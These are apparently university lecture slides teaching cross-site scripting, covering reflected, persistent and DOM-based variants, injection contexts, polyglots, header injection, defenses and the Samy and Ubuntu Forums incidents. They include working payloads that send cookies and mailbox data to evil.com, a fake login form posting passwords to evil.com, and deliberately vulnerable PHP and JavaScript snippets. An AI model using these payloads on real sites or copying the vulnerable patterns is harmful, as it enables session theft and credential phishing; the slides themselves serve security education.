Web Security - Cross Site Scripting

Stefano Calzavara

Università Ca' Foscari Venezia

Università
Ca'Foscari
Venezia

Cross Site Scripting (XSS)

Cross Site Scripting (XSS) is the king of client-side attacks, because it allows the attacker to inject scripts on a vulnerable web application:

- when a malicious script runs in the target's origin, SOP is ineffective!
- the attack surface on real-world web applications is large and the defenses may be hard to deploy correctly
- most reported vulnerability on HackerOne in 2017 and still going strong nowadays (consistently high-ranked on the OWASP Top 10, now in third position as part of the Injection category)
- a traditional web attack: no network privileges are required and you may not even need a malicious web page to do harm!

XSS: Overview

At a high level, a traditional XSS works as follows:

1. the attacker identifies a part of the target web application which processes untrusted input from the user, e.g., a search field
2. the attacker discovers that the supplied input can be eventually interpreted as a script, e.g., using their own browser
3. the attacker sends a maliciously crafted link to the victim, who accesses it and triggers a script injection
4. since the script actually comes from the target web application, it runs in the same origin of the target

When the attack works, an arbitrary script can be injected!

XSS Example!

Example: `xss.py`

More XSS Exemplified: Error Pages

We don't want users to get lost on our website, isn't it?

```
<?php
    $line = "The URL ". $_SERVER['REQUEST_URI'];
    $line = $line. " could not be found";
    echo ($line);
?>
```

But the attacker would be happy to send users here:

```
https://vuln.com/error.php?a=<script>alert(1)</script>
```

The Dangers of XSS

To understand why XSS is nasty, observe that SOP is entirely bypassed when an attacker-controlled script is injected in the target's origin!

```
<script>
    x = document.cookie;
    u = "https://evil.com/leak.php?ck=" + x;
    document.write("<img src='" + u + "'/>");
</script>
```

Possible mitigation: HttpOnly attribute on session cookies.

The Dangers of XSS

Protecting session cookies with the HttpOnly attribute is useful, but far from an appropriate mitigation against XSS in general.

```
<script>
    var xhttp = new XMLHttpRequest();
    xhttp.onreadystatechange = function() {
        var m = xhttp.responseText;
        var img = document.createElement("img");
        img.src = "https://evil.com/leak.php?data=" + m;
    };
    xhttp.open("GET", "https://good.com/mailbox.php");
    xhttp.send();
</script>
```

XSS Categories

We categorize XSS vulnerabilities along two different axes.

Type of Flaw

- Reflected XSS: happens when web applications echo back untrusted user input to the client
- Persistent XSS: happens when web applications store untrusted user input somewhere, e.g., in a database, and automatically echo it back in later interactions

Location of Flaw

- Server-side XSS: vulnerable code on the server ("traditional" XSS)
- Client-side XSS: vulnerable code on the client (DOM-based XSS)

Reflected Server-Side XSS

Back to our search field: how can we exploit the reflected XSS?

Exploit

If the search field is based on GET requests, just send this link around, e.g., by email or over bulletin boards:

`https://www.vuln.com/index.php?term=<script>...</script>`

Alert!

Of course, a bit of social engineering might be useful to fool into clicking the link. Also, a URL shortener can make the attack harder to detect.

Reflected Server-Side XSS

Exploit

If the search engine is based on POST requests, just craft the following HTML page and send around a link to it:

```
<html>
   <body onload="document.exploit.submit();">
      <form name="exploit"
            method="post"
            action="https://www.vuln.com/index.php">
         <input name="term" value="<script>...</script>"/>
      </form>
   </body>
</html>
```

Persistent Server-Side XSS

Let's move now to our preferred e-commerce website!

Traditional Review

Original text: I enjoyed this book, it was great!
Rendered text: I enjoyed this book, it was great!

Hipster Review

Original text: I enjoyed this book, it was brilliant!
Rendered text: I enjoyed this book, it was **brilliant!**

Do you see how to change the hipster review into malicious code?

Client-Side XSS

Nice, innocent idea: let's pick the background colour of our website from the query string to provide a personalized user experience.

```
<script type="text/javascript">
   document.write('<body');
   // get preferred color from the query string
   var color = document.location.search.substring(1);
   document.write(' style="background-color:' + color + '">');
</script>
```

Pro tip: Easter eggs are great for security!

Client-Side XSS

How to attack this code?

```
<script type="text/javascript">
   document.write('<body');
   // get preferred color from the query string
   var color = document.location.search.substring(1);
   document.write(' style="background-color:' + color + '">');
</script>
```

Client-Side XSS

How to attack this code?

```
<script type="text/javascript">
   document.write('<body');
   // get preferred color from the query string
   var color = document.location.search.substring(1);
   document.write(' style="background-color:' + color + '">');
</script>
```

Exploit

```
https://www.vuln.com?red"><script>...</script><img%20src="
```

Dissecting the Exploit

```
https://www.vuln.com?red"><script>...</script><img%20src="
```

We can dissect the exploit in three components:

1. the break-out sequence closes the current context and puts the parser into a state where we can insert code
2. the attack payload is the script which gets injected by the attack
3. the break-in sequence consumes the leftover characters and ensures the parser continues without errors

The break-in sequence might be not required for lenient parsers such as the HTML parser, but it is critical in the JavaScript context.

XSS: Root Causes

Technically, XSS vulnerabilities are introduced by malicious information flows from a source to a sink:

- Source: input channel under the control of the attacker, e.g., a GET parameter or the query string
- Sink: output channel leading to client-side code execution, e.g., `document.write` or `eval`

Standard point of view for injection vulnerabilities:

- think about SQL injection from the System Security course
- ... just with different sources, sinks and attack payloads (inputs)

XSS: Sources

Traditional server-side XSS abuses HTTP requests as sources. Most of the attacks communicate the malicious payload by means of GET parameters or within POST request bodies.

Client-side XSS may exploit additional sources at the browser:

- the query string `location.search`
- the fragment identifier #, accessible via `location.hash`
- response bodies of XHRs, which are appealing for web attackers
- cookies, e.g., when the attacker has network capabilities
- web storage (and most prominently local storage)

XSS: Sinks

All of the following are sinks enabling XSS:

- `document.write`, `document.writeln`: these can write new script tags in the DOM, which will be executed
- `eval`, `setTimeout`, `setInterval`: these can directly pick strings and translate them into executable JavaScript code
- `document.innerHTML`, `document.outerHTML`: these will not execute any injected script tag, but are still dangerous because event handlers will work (for example, `<img src="not-exists.jpg" onerror="alert(1)"/>`)

XSS Categories: Summary

Reflected server-side XSS:

- User must visit malicious link
- No persistent change to the server (one attack per visit)

Persistent server-side XSS:

- Attacker can store malicious payload on server
- Every user of the site affected on every visit

Reflected client-side XSS:

- User must visit malicious link
- No persistent change to the client (one attack per visit)

Persistent client-side XSS:

- User must visit malicious link, but just once
- Single user of the site affected on every visit

Quiz Time!

Can you attack this?

```
<?php
// load avatar
$usr = $_GET["user"];
echo "<img src='//avatar.com/img.php?user=" . $usr . "'>";
?>
```

Quiz Time!

Can you attack this?

```
<?php
// load avatar
$usr = $_GET["user"];
echo "<img src='//avatar.com/img.php?user=" . $usr . "'>";
?>
```

Exploit

```
https://vuln.com/?user='><script>alert(1)</script>
```

Quiz Time Again!

Can you attack this?

```
<script>
var username="<?=$_GET["user"]?>";
// something meaningful with the user name here
</script>
```

Quiz Time Again!

Can you attack this?

```
<script>
var username="<?=$_GET["user"]?>";
// something meaningful with the user name here
</script>
```

Exploit

```
https://vuln.com/?user="</script><script>alert(1)</script>
```

Quiz Time Again!

Can you attack this?

```
<script>
var username="<?=$_GET["user"]?>";
// something meaningful with the user name here
</script>
```

Exploit

```
https://vuln.com/?user="</script><script>alert(1)</script>
```

Shorter Exploit

```
https://vuln.com/?user="; alert(1); foo="
```

XSS Polyglots

The right exploit depends on the injection context!

```
<a href="..."> SINK1 </a>
<iframe src='SINK2'></iframe>
<script> if (x == "SINK3") { ... } </script>
```

A polyglot is an exploit working in several different contexts:

```
javascript:alert()//"){}alert();//</a><script>alert()</script>
```

Different interpretations, yet same effect, in the three contexts:

1. `</a>` closes the link and `<script>alert()</script>` is injected
2. `javascript:alert()` runs in the iframe (the rest is commented)
3. the substring `")` closes the guard of the conditional, followed by the empty body `{}` and the `alert()` call

Alternative Injections: Markup Injection

The same vulnerability leading to script injection (XSS) can actually be exploited to inject arbitrary HTML: this is called markup injection.

Example

```
<form method="post" action="https://www.evil.com/pwd.php">
   You have been logged out due to inactivity. <br/>
   Username: <input name="usr" type="text"/> <br/>
   Password: <input name="pwd" type="password"/> <br/>
   <input type="submit" value="Login"/>
</form>
```

Alternative Injections: Header Injection

Consider the following piece of code:

```
String movie = request.getParameter("movieId");
response.setHeader("Set-Cookie: seen=" + movie);
```

The attacker could perform header injection as follows (%0d and %0a are the encoding of <CR> and <LF> respectively):

```
https://vuln.com/?movieId=1%0d%0aSet-Cookie:sid=pwn3d!
```

This way, the attacker can break cookie integrity!

XSS Defenses: Output Encoding

The simplest way to ensure users cannot inject code in the application is to encode untrusted input before it's displayed.

Example

Use <b> to make your text bold.

You are not forced to do this encoding by yourself and you should not do that: for example, PHP offers `htmlentities` for the purpose, and in many frameworks you can use templates to prevent injections.

Alert!

For some types of outputs, you can find safe channels which do not require encoding. For example, you can safely add text to your HTML page by using `document.innerText` rather than `document.innerHTML`.

XSS Defenses: Output Encoding

Selected rules of thumb for encoding:

- `<script>...NEVER PUT UNTRUSTED DATA...</script>`
- `<div>...ENCODE UNTRUSTED DATA...</div>`
- `<div attr="...ENCODE UNTRUSTED DATA...">content`
- `<script>alert('...ENCODE UNTRUSTED DATA...')</script>`

Alert!

Output encoding is great, but many applications cannot rely on output encoding alone: think about social networks and bulletin boards, which want to grant users the ability to post HTML content.

XSS Defenses: Input Sanitization

Another way to defend against XSS is to sanitize the user input, e.g., by stripping away all the HTML tags before using it.

Example

Observe that this is much easier said than done:

- `<script >...</script>`

XSS Defenses: Input Sanitization

Another way to defend against XSS is to sanitize the user input, e.g., by stripping away all the HTML tags before using it.

Example

Observe that this is much easier said than done:

- `<script >...</script>`
- `<ScRipT>...</script>`

XSS Defenses: Input Sanitization

Another way to defend against XSS is to sanitize the user input, e.g., by stripping away all the HTML tags before using it.

Example

Observe that this is much easier said than done:

- `<script >...</script>`
- `<ScRipT>...</script>`
- `<script src="https://www.evil.com/exploit.js"/>`

XSS Defenses: Input Sanitization

Another way to defend against XSS is to sanitize the user input, e.g., by stripping away all the HTML tags before using it.

Example

Observe that this is much easier said than done:

- `<script >...</script>`
- `<ScRipT>...</script>`
- `<script src="https://www.evil.com/exploit.js"/>`
- `<scr<script></script>ipt>...</scr<script></script>ipt>`

XSS Defenses: Input Sanitization

Another way to defend against XSS is to sanitize the user input, e.g., by stripping away all the HTML tags before using it.

Example

Observe that this is much easier said than done:

- `<script >...</script>`
- `<ScRipT>...</script>`
- `<script src="https://www.evil.com/exploit.js"/>`
- `<scr<script></script>ipt>...</scr<script></script>ipt>`
- `<img src="foo.jpeg" onload="alert(1)">`

XSS Defenses: Input Sanitization

Another way to defend against XSS is to sanitize the user input, e.g., by stripping away all the HTML tags before using it.

Example

Observe that this is much easier said than done:

- `<script >...</script>`
- `<ScRipT>...</script>`
- `<script src="https://www.evil.com/exploit.js"/>`
- `<scr<script></script>ipt>...</scr<script></script>ipt>`
- `<img src="foo.jpeg" onload="alert(1)">`
- `Hello <b onmouseover="alert(1)">world</b>!`

XSS Defenses: Input Sanitization

Another way to defend against XSS is to sanitize the user input, e.g., by stripping away all the HTML tags before using it.

Example

Observe that this is much easier said than done:

- `<script >...</script>`
- `<ScRipT>...</script>`
- `<script src="https://www.evil.com/exploit.js"/>`
- `<scr<script></script>ipt>...</scr<script></script>ipt>`
- `<img src="foo.jpeg" onload="alert(1)">`
- `Hello <b onmouseover="alert(1)">world</b>!`
- `<a href="javascript:alert(1)">Click me!</a>`

Output Encoding or Input Sanitization?

Output Encoding

- Very easy to use
- Solves the root cause of the security vulnerability
- Sometimes restrictive

Input Sanitization

- Don't do it by yourself!
- Some attacks like markup injection might still be there
- Sometimes necessary

Real-world experience: secure web applications typically use both and possibly rely on reduced markup languages which are easy to sanitize!

For interested readers: OWASP XSS Prevention Cheat Sheet

A Bit of History: Samy (2005)

Samy was a worm enabled by a persistent server-side XSS on MySpace:

1. MySpace users can post HTML on their profile pages
2. MySpace ensures HTML contains no `<script>`, `<body>`, `onclick`, `<a href=javascript://>`, etc.
3. but accepts Javascript within CSS tags:
   `<div style="background:url('javascript:alert(1)')">`
4. and `'javascript:'` can be hidden as `'java\nscript:'`

Samy forced all visitors of an infected MySpace page to add the worm creator as a friend :-)

A Bit of History: Ubuntu Forums (2013)

The attack was enabled by a persistent server-side XSS in vBulletin:

1. vBulletin allowed unfiltered HTML in its default configuration
2. Attacker crafted malicious announcement and sent link to admins
3. The injected JavaScript code stole session cookies from admins
4. Given elevated privileges, the attacker could upload PHP shell

The attacker eventually dumped the users database and left defacement on the main page...

Research on XSS

A few interesting reads on XSS if you want to explore the topic:

- Mutation-based XSS [1]
- Large-scale detection of DOM-based XSS [2]
- XSS vulnerabilities on password managers [3]

There is also a lot of OWASP material available for free, that you might enjoy: `https://owasp.org/www-community/attacks/xss/`

References

Mario Heiderich, Jörg Schwenk, Tilman Frosch, Jonas Magazinius, and Edward Z. Yang.
mxss attacks: attacking well-secured web-applications by using innerhtml mutations.
In Ahmad-Reza Sadeghi, Virgil D. Gligor, and Moti Yung, editors, *CCS'13*, pages 777–788. ACM, 2013.

Sebastian Lekies, Ben Stock, and Martin Johns.
25 million flows later: large-scale detection of dom-based XSS.
In Ahmad-Reza Sadeghi, Virgil D. Gligor, and Moti Yung, editors, *CCS'13*, pages 1193–1204. ACM, 2013.

Ben Stock and Martin Johns.
Protecting users against xss-based password manager abuse.
In Shiho Moriai, Trent Jaeger, and Kouichi Sakurai, editors, *ASIA CCS '14*, pages 183–194. ACM, 2014.